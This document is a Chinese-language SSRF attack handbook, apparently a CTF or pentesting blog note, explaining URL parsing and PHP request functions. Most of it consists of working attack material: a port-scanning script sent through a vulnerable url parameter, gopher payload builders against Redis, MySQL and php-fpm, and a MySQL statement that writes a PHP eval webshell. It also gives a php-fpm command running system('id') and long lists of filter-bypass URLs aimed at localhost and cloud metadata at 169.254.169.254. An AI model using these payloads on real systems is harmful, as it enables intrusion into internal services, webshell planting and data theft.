SSRF宝典

ssrf原理

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,正是因为他是有服务器端发起的,所以它能够请求到与他相连而与外网隔离的内部系统

URL结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
URL结构遵循RFC1738标准,基本结构如下:
URI=scheme:[//authority]path[?query][#fragment]

其中authority又可以表示为
[userinfo@]host[:port]

scheme由一串大小写不敏感的字符组成,表示获取资源所需要的协议,俗称协议头

authority中的userinfo是一个可选项,一般HTTP使用匿名形式来获取数据,如果需要进行身份验证,格式为username:password@来表示

host是指在哪个服务器上获取资源,一般所见可以是域名形式、也可以是IP形式,包括IPV4和IPV6

port为服务器端口,http协议默认为80端口,而https协议默认是443端口,ftp协议是21端口,访问时如果使用默认端口,可以将端口省略

path为资源路径,一般用/进行分层,可以是基于文件的目录,也可以是基于路由的分层

query是指查询字符串,这里是可以动态改变的,我们前面也学过,可以用key=value形式的,也可以用index.php/Home/User/Index形式的pathinfo格式

fragment表示页面上的片段ID,一般不会跟随浏览器发送到服务器上,页面中一般表示为锚点,用#开头,所以我们在GET请求中,如果要发送#,就必须进行
Urlencode编码,否则会认为是锚点

相关函数和类

  • file_get_contents ():将整个文件或一个 URL所指向的文件读入一个字符串中

  • readfile ():`输出一个文件的内容

  • fsockopen (): 打开一个网络连接或者一个 Unix 套接字连接

  • curl_init (): 初始化新的会话,返回 cURL 句柄,供 curl_setopt () curl_exec () 和 curl_close () 函数使用

  • fopen (): 打开文件或者URL

  • PHP 原生类 soapclient 在触发反序列化时可导致SSRF

  • parse_url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
/*
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
*/

相关协议

  • file 协议:在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • dict 协议:泄露安装软件版本信息,查看端口,操作内网 redis 服务等
  • gopher 协议:gophar 支持发出 get post 请求,可以构造成符合 gopher 协议的请求,让服务器执行各种操作
  • http/s 协议:探测主机内网主机存活

SSRF漏洞利用

内网资源收集

端口存活情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# encoding:utf-8
import requests
import time
ports = ['80','3306','8080','8000','8111']
#会话保持
session = requests.Session()
for i in range(255):
ip = '192.168.80.%d' % i
for port in ports:
Url='http://example.com/?url=http://%s:%s' % (ip,port)
try:
res = session.get(Url,timeout=3)
if len(res.content) > 0:
print(ip,port,'is open')
except:
continue
print('done')

通过host进行存活端口探测监听分三钟

  • 127.0.0.1只允许本地访问
  • 0.0.0.0 允许任意地址访问
  • 192.168.233.233 只允许特定IP访问

敏感信息收集:

内网IP地址信息:
/etc/hosts

网络情况:
/proc/net/arp
/etc/network/interfaces

gopher协议扩展攻击面

首先让我们了解其结构

1
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

gopher的默认端口是70

如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

注意:%0d%0a是\r\n的URL编码

  • 利用gopher伪造post请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

payload =\
"""POST /index.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

uname=admin&passwd=admin
""".format(host,content_length,content)

tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
  • gopher请求伪造攻击redis的6379

Redis运行在内网,一般在6379端口,如果配置为空密码,则其支持通过某些协议来访问和增删改查

redis一条命令执行一个行为,一条是错的,下一条会继续执行

如果我们能控制报文的任意一行,就可以实现攻击.

通过SSRF访问内网Redis

image-20230315225901084

  • gopher请求伪造攻击mysql的3306

MySQL分为客户端和服务端,由客户端连接服务端有四种方式,分别是

unix套接字

内存共享

命令管道

TCP/IP套接字

我们进行攻击依靠第四种方式,MySQL客户端连接时,有两种情况:

  1. 需要密码认证,服务器先发送salt,客户端使用salt进行加密后再验证
  2. 不需要密码认证,直接使用上边第四种方式发送数据包

这里攻击MySQL要在非交互条件下进行,一定只能攻击没有密码的的MySQL服务端

这里我们写马要用MySQL语句写

select "<?php eval($_POST[1]);" into outfile 'var/www/html/1.php';

image-20230315220610223

image-20230315222606149

  • gopher请求伪造攻击fastcgi的9000

image-20221108132601000

php-fpm的参数中的php_admin_values(flag)可以覆盖.ini配置文件,由此我们可以修改allow_url_include:On

整理一下流程大致就是

1
2
3
4
ssrf
控制服务端脚本请求本地php-fpm端口
伪造配置参数包含php://input数据
执行php://input内提交的代码

这里还是使用gopherus

image-20230316092809681

image-20230316092913367

还有一种叫做未授权访问 php-fpm,当端口绑在0.0.0.0上可以任意地址访问,直接用脚本

1
python fpm.py 192.168.98.149 /var/www/html/index.php -c "<?php system('id'); exit(); ?>"

点击即可获得使用详解呦

SSRF绕过

普通畸形地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
HTTPS协议
https://127.0.0.1/
https://localhost/

[::]//这种是ipv6的地址形式
http://[::]:80/
http://0000::1:80/


CIDR
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

十进制IP地址
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

IPv6/IPv4地址嵌入
http://[0:0:0:0:0:ffff:127.0.0.1]

bash变量(curl情况)
curl -v "http://evil$google.com"
$google = ""

组合技巧
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

绕过filter_var()
0://evil.com:80;http://google.com:80/

绕过file_get_content
data://google.com/plain;base64,SSBsb3ZlIFBIUAo=

绕弱parser
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

DNS记录(检测带外流量监控平台:http://ceye.io/dns-rebinding)
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/

HTTP302跳转
静态:http://nicob.net/redir6a
动态:http://nicob.net/redir-http-169.254.169.254:80-

八进制溢出(适用于NodeJs服务器)
http://265.0.0.3

相关payload可以看这个:

SSRF payloads. Payloads with localhost | by Pravinrp | Medium

0在linux系统中会解析成127.0.0.1

linux中可以。代替.

在windows中解析成0.0.0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.1/flag.php
url=http://127.0.1.3/flag.php
url=http://127.127.127.127/flag.php
url=http://127.0000000000000.001/flag.php
url=http://017700000001/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://2130706433/flag.php
url=http://localhost/flag.php
url=http://sudo.cc/flag.php
url=http://0x7F000001/flag.php
url=http://localtest.me/flag.php
url=http://spoofed.burpcollaborator.net/flag.php
302跳转,这里我就不写了

url=http://127。0。0。1/flag.php //×
url=http://127。0.0.1/flag.php //×
url=http://loc£Álhost/flag.php //×
url=http://loc£Álhost/flag.php //×

进制转化网站:http://www.tbfl.store/net/ip.html

使用enclosed alphanumerics绕过数字限制

1
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

比如我们访问127.0.0.1,如果0被过滤了就可以使用127.⓿.⓿.1

还有一种idna字符还可以用代码生成

1
2
3
4
5
6
7
8
9
for i in range(128,65537):    
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass

但是尝试后从未成功过…..

特殊写法绕过

1
url=https@0/test.octagon.net/1.php/../../flag

image-20230120000320228

DNS泛域名

xip.ioxip.name这两个dns泛域名,实现绕过的方法是,你在你想访问的ip地址后面添加这两个泛域名,这两个域名会从你发出的请求中提取你真正想访问的IP地址

1
2
3
4
5
http://www.10.0.0.3.xip.io
http://mysite.10.0.0.3.xip.io
http://foo.bar.10.0.0.3.xip.io
http://foo.10.0.0.3.xip.name
http://www.10.0.0.3.xip.name